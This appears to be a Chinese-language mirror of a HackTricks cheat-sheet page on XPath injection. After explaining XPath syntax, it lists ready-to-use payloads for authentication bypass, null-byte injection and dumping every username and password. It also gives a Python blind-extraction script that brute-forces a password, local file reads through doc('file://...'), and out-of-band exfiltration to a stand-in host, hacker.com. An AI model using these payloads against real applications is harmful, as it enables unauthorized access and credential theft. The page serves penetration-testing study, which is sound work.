mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
12 KiB
12 KiB
XPATH 注入
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 分享黑客技巧。
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客见解
参与深入探讨黑客的刺激与挑战的内容
实时黑客新闻
通过实时新闻和见解,跟上快速变化的黑客世界
最新公告
了解最新的漏洞赏金计划和重要平台更新
今天就加入我们 Discord,与顶尖黑客开始合作!
基本语法
一种称为 XPath 注入 的攻击技术被用来利用基于用户输入形成 XPath(XML 路径语言)查询的应用程序,以查询或导航 XML 文档。
节点描述
表达式用于选择 XML 文档中的各种节点。以下是这些表达式及其描述的总结:
- nodename:选择所有名为 "nodename" 的节点。
- /:从根节点进行选择。
- //:选择与当前节点匹配的节点,无论它们在文档中的位置。
- .:选择当前节点。
- ..:选择当前节点的父节点。
- @:选择属性。
XPath 示例
路径表达式及其结果的示例包括:
- bookstore:选择所有名为 "bookstore" 的节点。
- /bookstore:选择根元素 bookstore。注意,以斜杠(/)开头的路径表示对元素的绝对路径。
- bookstore/book:选择所有 bookstore 的子元素 book。
- //book:选择文档中的所有 book 元素,无论它们的位置。
- bookstore//book:选择所有 bookstore 元素的后代 book 元素,无论它们在 bookstore 元素下的位置。
- //@lang:选择所有名为 lang 的属性。
使用谓词
谓词用于细化选择:
- /bookstore/book[1]:选择 bookstore 元素的第一个子元素 book。对于 IE 5 到 9 版本,索引第一个节点为 [0] 的解决方法是通过 JavaScript 将 SelectionLanguage 设置为 XPath。
- /bookstore/book[last()]:选择 bookstore 元素的最后一个子元素 book。
- /bookstore/book[last()-1]:选择 bookstore 元素的倒数第二个子元素 book。
- /bookstore/book[position()<3]:选择 bookstore 元素的前两个子元素 book。
- //title[@lang]:选择所有具有 lang 属性的 title 元素。
- //title[@lang='en']:选择所有 lang 属性值为 "en" 的 title 元素。
- /bookstore/book[price>35.00]:选择所有价格大于 35.00 的 bookstore 元素的 book 元素。
- /bookstore/book[price>35.00]/title:选择所有价格大于 35.00 的 bookstore 元素的 book 元素的 title 元素。
处理未知节点
通配符用于匹配未知节点:
- *:匹配任何元素节点。
- @*:匹配任何属性节点。
- node():匹配任何类型的节点。
进一步的示例包括:
- /bookstore/*:选择 bookstore 元素的所有子元素节点。
- //*:选择文档中的所有元素。
- //title[@*]:选择所有至少具有一个任意类型属性的 title 元素。
示例
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
访问信息
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
识别与窃取模式
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
认证绕过
查询示例:
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
在用户和密码中的OR绕过(两者值相同)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
滥用空值注入
Username: ' or 1]%00
在用户名或密码中使用双重OR(仅在一个脆弱字段有效)
重要提示:注意**“and”是第一个执行的操作**。
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
字符串提取
输出包含字符串,用户可以操纵这些值进行搜索:
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
盲目利用
获取值的长度并通过比较提取它:
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Python 示例
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
读取文件
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
OOB 利用
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
自动工具
参考文献
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection
- https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)
- https://www.w3schools.com/xml/xpath_syntax.asp
加入 HackenProof Discord 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
黑客见解
参与深入探讨黑客的刺激与挑战的内容
实时黑客新闻
通过实时新闻和见解,跟上快速变化的黑客世界
最新公告
了解最新的漏洞赏金计划和重要平台更新
加入我们 Discord,今天就开始与顶级黑客合作!
{% hint style="success" %}
学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 电报群组 或 在 Twitter 上关注 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。